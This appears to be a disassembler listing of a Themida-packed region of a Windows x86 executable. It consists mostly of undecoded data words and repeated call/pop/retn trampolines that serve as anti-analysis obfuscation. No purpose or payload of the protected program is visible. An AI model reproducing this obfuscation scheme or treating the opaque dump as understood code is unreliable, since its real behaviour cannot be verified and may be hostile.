		dd 2F07453Dh, 0B70FCE51h, 57006AD9h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 5E8F30Ah, 0F6000000h
		dd 0DE6040Bh, 0DA8913BFh, 81665F42h, 8368B6E3h,	0A80BBDBDh
		dd 850F0306h, 3CCh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 9CC35343h, 0AF5C080Fh, 2915E54Dh, 0A81DA195h
		dd 39BF6606h, 27BD834Dh, 6ABA2h, 392840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0EAA87FC3h, 9D1CDE30h, 66D89D02h, 0B5FFDE8Bh, 6ABA227h
		dd 33ED9501h, 95FF06A8h, 6A815F9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 4CC35242h, 0B58BF9F9h, 6ABA21Bh
		dd 3451BD8Bh, 6C706A8h,	10001h,	22319D89h, 850906A8h, 6A8214Dh
		dd 24348950h, 1DE5B589h, 0B5FF06A8h, 6ABA227h, 0A859D8Bh
		dd 816606A8h, 0FF72DED3h, 0A8219995h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0D3816684h, 0B70F6CA0h, 1BB58BD8h, 0E806ABA2h, 14h
		dd 372300E7h, 613878B8h, 0BD25B7DFh, 55FE07DEh,	9B6A7AF1h
		dd 0E0E9F381h, 8B5B774Ch, 0A80E4185h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 47A7CBA1h, 1D651C46h, 0C48689h, 860F0000h, 6, 14C9BD8Bh
		dd 958B06A8h, 6A805B9h,	4C283F9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0A3C35040h,	814738AEh, 0C44CAE7h
		dd 25BD030Eh, 8906A815h, 6A2050h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 22B522C3h, 4CF594F8h
		dd 0CE8h, 39BEC800h, 1F562E46h,	0D9F26Ch, 0FEBF0F25h, 0CE858D5Bh
		dd 0F806ABB7h, 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 931DB6C3h, 59D89EEh
		dd 6A06A825h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0FB8101A9h, 0FF7B5B2Ah, 0ABA227B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 4B09DEE7h, 95FFB1FEh, 6A81E1Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 71C35545h, 0B6E781C0h
		dd 0F61FBE0h, 6650F9BFh, 3489D88Bh, 0EF805224h,	0B5FF5FD0h
		dd 6ABA227h, 95FFDA8Bh,	6A82A69h, 8E59D8Bh, 0BD8306A8h
		dd 6A82E3Dh, 1C840F00h,	60000000h, 26918D8Bh, 0BB6606A8h
		dd 9661238Fh, 0AA16F6BBh, 0FE8A504Eh, 0C0CF8196h, 0FF150AD3h
		dd 0ABA227B5h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0CCD7D5h, 0C3815E5Eh
		dd 13EEB5A2h, 95FF00B7h, 6A83185h, 13E9h, 7E37B900h, 0F6E2AD37h
		dd 2B50245h, 0A58A98C5h, 0E2E5C804h, 0A227B5FFh, 0BD2906ABh
		dd 6A82685h, 0F5595FFh,	6A06A8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0C835AAC3h, 0F9F8FD2Ch
		dd 77DBD83h, 0F0206A8h,	5784h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 5EFFDEA5h
		dd 8BE4A903h, 0A80D1985h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0C6CEF54Eh
		dd 0F82122D4h, 0C6F8208Dh, 9D8B0000h, 6A81FA5h,	0DC185C7h
		dd 6A8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 180424h, 53430000h, 166FE7C3h, 9D8B3DC7h, 6A81B19h
		dd 0FFF3CFE9h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 4C45E053h, 0E92C067Ch
		dd 0Dh,	0F14A7DA8h, 0BEF7F3C1h,	0CB3244EEh, 6AC18B1Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 7806C355h, 0A41EBF46h, 6810FC9h, 8B000000h
		dd 0A807F1BDh, 1D9D8906h, 8D06A82Bh, 0A8338585h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0BE8B041h, 8B000000h, 188A0DD5h, 46FC4B57h, 8F0F62CBh
		dd 3, 5BDFBF0Fh, 8B665350h, 4895BDAh, 56006A24h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 8E0D11C7h, 2B4FBF76h, 6A3C35h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 4C35545h, 9D8B006Ah, 6A81B91h
		dd 290A858Dh, 6A06ADh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 98F92EC3h, 8BCCDB8Eh, 0A801E9BDh
		dd 83DA8B06h, 0D98A05C0h, 0E157BB50h, 4896721h,	9BD8B24h
		dd 8B06A81Ch, 6A006AD9h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 8433C356h, 89802478h
		dd 0ED00D187h, 74CF8166h, 6A006A0Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 1035C357h
		dd 4D9D2367h, 0E906A833h, 0Ch, 0D9D2B841h, 9F301120h, 0F623B197h
		dd 254195FFh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 7DBFFBC3h, 55BBC47h, 8D8DEB8Dh
		dd 6AB8C7Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	1BC35747h, 0A37B462Ch, 4F7A44F6h, 9D29D1FFh, 6A817B1h
		dd 339DBD83h, 0F0106A8h, 7685h,	56BB6600h, 66026AB6h, 0E9C13DBBh
		dd 0Ah,	0FC6CB1Ah, 95DF8F92h, 60506940h, 6AA2EDB9h, 0F78B6640h
		dd 24048961h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	1DC35545h, 0D9FC7465h, 587C7E5Ah, 95FFFE8Bh, 6A81E1Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7EC35646h
		dd 719589F5h, 0E906A82Ah, 0E61h, 0E8h, 0ED815D00h, 6AD2914h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 41C35141h
		dd 0EE801345h, 15830Fh,	10E90000h, 8C000000h, 0F82A467Dh
		dd 2B4E014Ch, 69E27EE8h, 0F1CFFACh, 858DF9BFh, 6AB7E2Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C1C35141h
		dd 9FA94C80h, 0CF9BD8Bh, 895006A8h, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0D00CCAC3h
		dd 4FFB044Eh, 64FA8B66h, 35FFh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4D7A52C3h
		dd 7E902h, 0DFFC0000h, 94E22BF8h, 298D89B7h, 6406A811h
		dd 2589h, 0B70F0000h, 0F185FFFFh, 8106A833h, 2B2816CFh
		dd 6AFF6A45h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 80BEC356h, 867A65A3h, 51DBD03h
		dd 0B5FF06A8h, 6A83509h, 739BD89h, 95FF06A8h, 6A82A7Dh
		dd 140E9h, 6E800h, 5BA20000h, 0D7EEA373h, 2691BD8Bh, 0B05F06A8h
		dd 919D8B00h, 0E606A819h, 91852970h, 0E406A822h, 68A0F71h
		dd 89000000h, 0A8211D85h, 0F613C06h
		dd 10883h, 398D8900h, 0F06A801h, 3EBFC8B6h, 0BA0752B4h
		dd 6, 0BE857h, 0EB940000h, 78D6925h, 4C1943A7h,	0EE9F0h
		dd 0AF0F0000h, 2CD1FBC6h, 0FBC3C234h, 94835C3Ch, 0C18B5F5Fh
		dd 2304E8C1h, 0A828799Dh, 5FFC5306h, 0FE2F766h,	0C82BFAB7h
		dd 68A0Fh, 9D8B0000h, 6A833D5h,	0CB81D18Bh, 23370C1Eh
		dd 0A0E9h, 31BD8B00h, 8B06A80Dh, 47554C85h, 800F5349h
		dd 6, 21E5B589h, 665B06A8h, 7F14D781h, 8B07C083h, 0A82C51BDh
		dd 0C08306h, 9B7BBF66h,	830FD03Bh, 31h,	12E8h, 0EDFA200h
		dd 9563D742h, 0F8EA206Ch, 9151A88Ch, 0E8B0EB81h, 7, 0AE80D3D7h
		dd 0F8487ADFh, 3EE95F5Bh, 8B000000h, 0A8015DBDh, 0FF8D8B06h
		dd 0FFFFFFFh, 0E183DFBFh, 26840F01h, 29000000h,	0A81499B5h
		dd 0FFA58306h, 0FEFFFFFFh, 66FEBF0Fh, 0F5B3F781h, 554C9589h
		dd 9D8B4947h, 6A806C1h,	0E9h, 0E9B58D00h, 6A06ACA5h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 6A60C353h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 2CBF24C5h, 6660862Ah, 609D2FBBh
		dd 0C2816656h, 0BB5AA74Fh, 196F470h, 3195FF61h,	6006A81Bh
		dd 5F02F181h, 880F0F5Bh, 0
; ---------------------------------------------------------------------------
		popa
		mov	ecx, 0EB6h
		or	[ebp+6A81D71h],	edx
		and	ecx, 0FFFFFFFCh
		push	0
		push	edx
		call	sub_59C60E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C60E	proc near		; CODE XREF: Themida_:0059C606p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_59C60E	endp

; ---------------------------------------------------------------------------
		dw 0F7FBh
		dd 0C87D4656h, 0BF1B5AE4h, 495399EBh, 0A5BD8B60h, 6106A81Fh
		dd 8D8D89FCh, 2B06A828h, 0FE9C0h, 6CF90000h, 6897104h
		dd 8964C7D7h, 6D66F2D3h, 6AD22B42h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0CEE0C356h
		dd 0E7226ACBh, 817E6B9Dh, 83EB28E3h, 0C233AD5Bh, 0D003E8D1h
		dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 45B81A70h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0A7C35747h,	0DF3E37F9h, 8B56E9CAh
		dd 0A800E1BDh, 880DF506h, 66000000h, 0F2D57BBh,	0E82h
		dd 9E900h, 3E400000h, 7BB65912h, 8BC4B8B3h, 0A805B995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0FA201C93h, 0BD8BCDE2h, 6A810F5h, 14698D8Bh
		dd 8B6606A8h, 0C28B50DEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0F66AC350h, 2005BD8Bh,	6A06A8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0F5678C3h, 584h, 0F248BF00h,	835F6815h, 0A80C91BDh
		dd 840F0006h, 84h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 7BC35646h, 5C3058ECh,	0B3CF8137h, 0B833D2BEh
		dd 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6A816EDh]
		lea	ecx, [ebp+6A84FAFh]
		push	0
		push	ebx
		call	sub_59C7D3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C7D3	proc near		; CODE XREF: Themida_:0059C7CBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_59C7D3	endp

; ---------------------------------------------------------------------------
		align 4
		movsd
		add	dl, [ebp-13h]
		pusha
		mov	[ebp+6A8168Dh],	esi
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_59C7FC
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C7FC	proc near		; CODE XREF: Themida_:0059C7F4p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_59C7FC	endp

; ---------------------------------------------------------------------------
		dd 0BBACEC2Fh, 35590DDDh, 0BBDBD83h, 0F0006A8h,	4AE84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0B0BBB57h, 81496E3Bh, 0F3F135CFh, 0BFDE8A5Ch
		dd 6D1260C8h, 0BBDBD83h, 0F0106A8h, 48D84h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0F1CF19Fh, 0F85h, 0AE900h, 7BC00000h, 40CBAC55h, 91721D8Fh
		dd 0F817DB81h, 60522733h, 0D5EBC781h, 5E5133EAh, 0BD835F61h
		dd 6A80BBDh, 5860F03h, 81000004h, 0B209D2F7h, 6A6038h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 358500C3h, 69B4A899h, 0EB01BBDEh, 8C6666E1h,	51006AD9h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 68AF9117h, 81AF0083h, 509F1FC7h, 8E932h, 505A0000h
		dd 3D7627Dh, 0E180F870h, 0C90AF904h, 193840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 858B40C3h, 6A80BE1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 9AC35141h, 0E9608F27h, 5, 0F7712A29h
		dd 9DB531FCh, 6106A80Ah, 1D5D8533h, 6A06A8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0FC63F0C3h
		dd 23205BEh, 33F99589h,	8A9006A8h, 0BB6650FCh, 0E890015Dh
		dd 0Eh,	0E6B4FFD4h, 0DC26287Dh,	547AA39Fh, 9D296714h, 6A80F8Dh
		dd 6A006A5Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 4F29C355h, 12A63857h, 0F30C3B51h
		dd 1EDD9D89h, 852906A8h, 6A819C5h, 4E8h, 1F03FF00h, 0EE95000h
		dd 15000000h, 158BB6A9h, 1BE08953h, 8372A7D0h, 24448BD2h
		dd 0FB8B6604h, 0D98B008Bh, 4244489h, 14E9h, 0B1382800h
		dd 728ADFFEh, 92B23FE8h, 92685834h, 0E5334C02h,	0BE858FBh
		dd 18000000h, 7B163B93h, 0E8ACA4D3h, 0BD2B84E9h, 6A82BD9h
		dd 4195FF5Bh, 8906A807h, 0A8289995h, 27858906h,	6A06ABA2h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8171C350h, 0A54CC3C7h, 1CBE97Ah, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 24D470C3h, 813653ECh, 58D7E5CFh, 1F858B41h, 6A06ABA2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 7749C352h, 0D78132F7h, 5E4C0EC3h,	1800C7h
		dd 85890000h, 6A833E1h,	0A223B58Bh, 858906ABh, 6A81755h
		dd 2B7D858Bh, 0DE906A8h, 6B000000h, 152925ABh, 0B1077759h
		dd 0E13C8EB3h, 689DC8Ah, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0F0C35141h, 5928F6EFh, 0BFADB8Ch, 0CAE0D781h
		dd 0B70F1D8Ch, 0E1858BDBh, 6606A80Bh, 0ACE2DB81h, 89044689h
		dd 0A82DC58Dh, 880F5006h, 3, 89D98B66h,	6A2434h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0DB79B2C3h, 5899D01h, 0B5FF06A8h, 6ABA21Fh, 688FDF80h
		dd 676BBDAEh, 5FF98B52h, 51243481h, 0F6774BEh, 88h, 27858D00h
		dd 6A06ABA2h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 7964C356h, 9AFF3A95h, 0FE9547Ch
		dd 89000000h, 0C4E8E129h, 1571B8B6h, 0D48AD1B1h, 0E950F936h
		dd 14h,	0EDD4375Fh, 0D128BEA9h,	0AF216343h, 9193CE38h
		dd 93DE7173h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0F7C0C353h,	66562105h
		dd 2CCDEF81h, 4195FF5Fh, 6A06A807h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 7B53C356h
		dd 6C41937Eh, 0CA57412Ch, 9D98B66h, 0A826799Dh,	0BD8B6106h
		dd 6A80C3Dh, 0BBD85C7h,	306A8h,	830F0000h, 4, 41E5BB66h
		dd 0A227BD83h, 0F0006ABh, 3384h, 0F19D8B00h, 0E906A821h
		dd 43h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh
		dd 1EC35646h, 0C4B9ADECh, 8B166131h, 0F9BF0FF9h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 6BA4C350h, 2890F07h,	0B7000000h, 199D8BA4h, 8306A830h
		dd 0A80BBDBDh, 850F0306h, 409h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0D4C35343h,	27BD83D9h, 6ABA2h
		dd 3DF840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 1BE467C3h, 8A922084h, 12E8h, 4B14C800h
		dd 15A2C39Bh, 8EC7D1E4h, 92D253A8h, 510F5514h, 0C1CF8166h
		dd 0FF5F5FABh, 0ABA227B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0F0A57E35h
		dd 0FFEB1E9Ch, 0A815F995h, 10E906h, 64BD0000h, 0F723400Fh
		dd 819643EEh, 7F0C6782h, 8BF54FEFh, 0ABA21BB5h,	106C706h
		dd 6A000100h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0DE1FC357h, 19EE0DF1h,	6840F41h
		dd 9000000h, 0A80A8585h, 0CE95006h, 69000000h, 0D45E569Fh
		dd 7E4356BAh, 899CCEABh, 95892434h, 6A827D1h, 19F19D0Bh
		dd 0B5FF06A8h, 6ABA227h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 0BDC35040h, 95FFD9BBh, 6A82199h, 3391B529h
		dd 0B58B06A8h, 6ABA21Bh, 26BD9D8Bh, 858B06A8h, 6A80E41h
		dd 0C48689F9h, 89000000h, 0A80BD9BDh, 0B9958B06h, 0F06A805h
		dd 9D03FAB7h, 6A82671h,	8B04C283h, 205089FAh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7AC35242h, 0A587DD50h
		dd 898F293Fh, 0A80BCD8Dh, 0CE858D06h, 6A06ABB7h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0BAA4C355h, 1A299D2Bh, 0B70F06A8h, 0B88689DEh, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 544FC350h, 5AC781EBh, 6A5BFFBDh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0DCF5A4FAh, 27B5FF34h, 6A06ABA2h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 2346C352h
		dd 0A80F719Dh, 1D95FF06h, 8906A81Eh, 0A8321985h, 34895006h
		dd 13E824h, 0C2D50000h,	0E991C95Ah, 0DED5A203h,	1F4CAE2Fh
		dd 0BFBDCCC2h, 0FBBF0F0Fh, 27B5FF5Bh, 6A06ABA2h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 3326C353h, 0A81DB1BDh, 6995FF06h, 6606A82Ah,	0BD83DA8Bh
		dd 6A82E3Dh, 48840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8B07C352h
		dd 0A81019BDh, 60509606h, 51BA6656h
		dd 0F605959h, 87h, 61EFB200h, 0CE99661h, 0BF000000h, 27149489h
		dd 0A7AE9819h, 0FF8FAEF0h, 0ABA227B5h, 54C78106h, 815A1A86h
		dd 2373CCD7h, 8595FF27h, 6A06A831h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 2CB7C350h
		dd 68CC3FE2h, 898C3536h, 0A82075BDh, 27B5FF06h,	6A06ABA2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0C0AAC355h, 2089B589h, 8B6606A8h,	5595FFFEh
		dd 6606A80Fh, 24A2DB81h, 77DBD83h, 0F0206A8h, 6984h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 39A48E8Bh, 8BDAB70Fh, 0A80D1985h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 97BBC302h
		dd 0C6F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	31C35141h, 85C7B5B1h, 6A80DC1h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_59D12F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59D12F	proc near		; CODE XREF: Themida_:0059D127p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_59D12F	endp

; ---------------------------------------------------------------------------
		db 0E3h
		dd 6D62C3DBh, 9E75C9C6h, 0F2BBE9D0h, 830FFFFFh,	3, 8BFB8B66h
		dd 52006AC1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 9BB0D6Ch, 5F5FD72Eh, 0D8D8D57h, 6A06AD38h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 538BC351h, 0C6F680A7h, 5B98D89h, 0C7FC06A8h
		dd 0A8146985h, 5B0006h,	20DC8000h, 16ADBD8Bh, 85C706A8h
		dd 6A80BBDh, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+6A83055h]
		push	dword ptr [ebp+6A814A1h]
		jmp	loc_59D1E3
; ---------------------------------------------------------------------------
		db 0ADh, 68h, 91h
		dd 0D9700A7Ah
; ---------------------------------------------------------------------------
		mov	dh, 0FBh
		popa


loc_59D1E3:				; CODE XREF: Themida_:0059D1D4j
		mov	esi, 59F673E0h
		call	dword ptr [ebp+6A820DDh]
		push	0
		push	edx
		call	sub_59D1F9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59D1F9	proc near		; CODE XREF: Themida_:0059D1F1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_59D1F9	endp

; ---------------------------------------------------------------------------
		db 93h,	0B5h, 9
		dd 0A5BBF250h, 6A5E65EFh, 3195FF00h, 8B06A81Bh,	8329EBC0h
		dd 20D3F7EEh, 4BA37E0Bh, 3416098h, 7AB98BBAh, 0B7DC3E62h
		dd 0F3AAFA18h, 1E8A6316h, 6ADDC589h, 726728C4h,	2AF47A43h
		dd 39378D8Dh, 9FC06ADh,	0A8066D95h, 0B98D8906h,	6A06A805h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 59BEC350h, 0BE68354Ah, 6B5EAD68h,	146985C7h
		dd 6B3C06A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 96B6AAC3h, 66507D1Eh, 0C7CC14BFh
		dd 0A80BBD85h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0F916D990h, 818E5E70h
		dd 0EFAAA8EAh, 899D3136h, 0FF06A819h, 0A80E01B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 3D36E0CEh, 0CCBE655Fh, 894BF480h, 0A814B5B5h, 0DD95FF06h
		dd 6A06A820h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0C845C356h, 0FF006A5Ch, 0A81B3195h
		dd 0EBC08B06h, 6EE57C49h, 0A1DB29D3h, 0AD9D4901h, 710BA900h
		dd 0C26950E6h, 324E9626h, 2A29D05Dh, 72FCF771h,	0BBEB421Ah
		dd 528FEF3Fh, 2AED27A8h, 1CCAD85Dh, 0BB2973C9h,	42C61495h
		dd 49BEEDFh, 9E067F6h, 51F573D5h, 0C07F17D4h, 3D20F585h
		dd 322006B7h, 33900E36h, 0CB080136h, 2401B41Dh,	0BE64079Eh
		dd 320FE8EEh, 6FD40136h, 214EDF64h, 7DEA3CB5h, 0A6281458h
		dd 0B607059Eh, 320400E2h, 0B114EEB6h, 9A16248Bh, 0B68F0130h
		dd 32400141h, 0DA75015Ch, 32100135h, 6FCB5C16h,	36206DBFh
		dd 362645B7h, 3201012Bh, 0F2435473h, 63D6D21Bh,	1FCA8E41h
		dd 3217E813h, 0CFAC0136h, 82512696h, 0DB626173h, 32010124h
		dd 5A315B6Ch, 0B9DBB93h, 0CCE250EDh, 0B4C6B7DCh, 8D07ACB2h
		dd 0B96260C6h, 5FEB60C4h, 58010137h, 31685336h,	12400136h
		dd 0BB7AC26Ch, 0B3142562h, 270C2572h, 70040136h, 0E2F9C264h
		dd 62FF8A50h, 3609DEBDh, 8BD58812h, 3D26A923h, 0CC344D37h
		dd 28D19405h, 0BB5C079Eh, 9A28D4A3h, 0F5806730h, 0F2031720h
		dd 8FD5881Ah, 0B926A926h, 395883Eh, 540EA93Bh, 58F849BDh
		dd 31EA5336h, 12010136h, 0BBDAC26Ch, 0B3442562h, 25242572h
		dd 70100136h, 43AC264h,	8D0B6569h, 0B8367C6h, 0B60EFE00h
		dd 3280019Dh, 1019BCBDh, 0F3A3079Eh, 64106B3Fh,	320802DEh
		dd 0F15A2136h, 16768868h, 16458032h, 32801C32h,	0F1164736h
		dd 9345794Dh, 0EB5C91DDh, 0CA8342FCh, 3DED38B6h, 3202AEB3h
		dd 4BB43036h, 0B986A931h, 322A0077h, 3223E963h,	6F300136h
		dd 5E815CF5h, 76850512h, 321E0512h, 67440136h, 600536F5h
		dd 34E8D20h, 0BF09AFBDh, 34B807B7h, 31F38A50h, 8C62F8FEh
		dd 0F38189C7h, 63016B33h, 328002DEh, 0F1192136h, 166C886Fh
		dd 16548032h, 32081932h, 0F1554036h, 2D4F18D4h,	0A23880ABh
		dd 3D0B427Dh, 324042B3h, 4F952836h, 0BF16A916h,	9A47AEBBh
		dd 31BCF930h, 58020136h, 31E95236h, 12800136h, 0BB1BC26Dh
		dd 0B324256Ah, 2B142572h, 71080136h, 33CBC265h,	7CD90159h
		dd 67D8BE50h, 3349BC3Fh, 0D3BF079Eh, 0C65BBF50h, 321CE857h
		dd 0DD930136h, 0F4A3A1Dh, 3E5CBFD1h, 8F8C42B2h,	342D38B3h
		dd 9F98CBBh, 4698079Bh,	11193B5h, 9A0D8CB3h, 0F3CB2A30h
		dd 3D2003DFh, 322006B7h, 33900E36h, 0CB080136h,	2401B41Dh
		dd 0BE64079Eh, 0E983E8EEh, 8BA4F305h, 79BD8BC0h, 2B06A809h
		dd 0A815899Dh, 0E9C38B06h, 0Ch,	1FB17B57h, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_59DB80
; ---------------------------------------------------------------------------
		add	esp, [ebp+ebp-67h]
		sbb	ss:[esi+ecx*8+65h], ebx
		retn
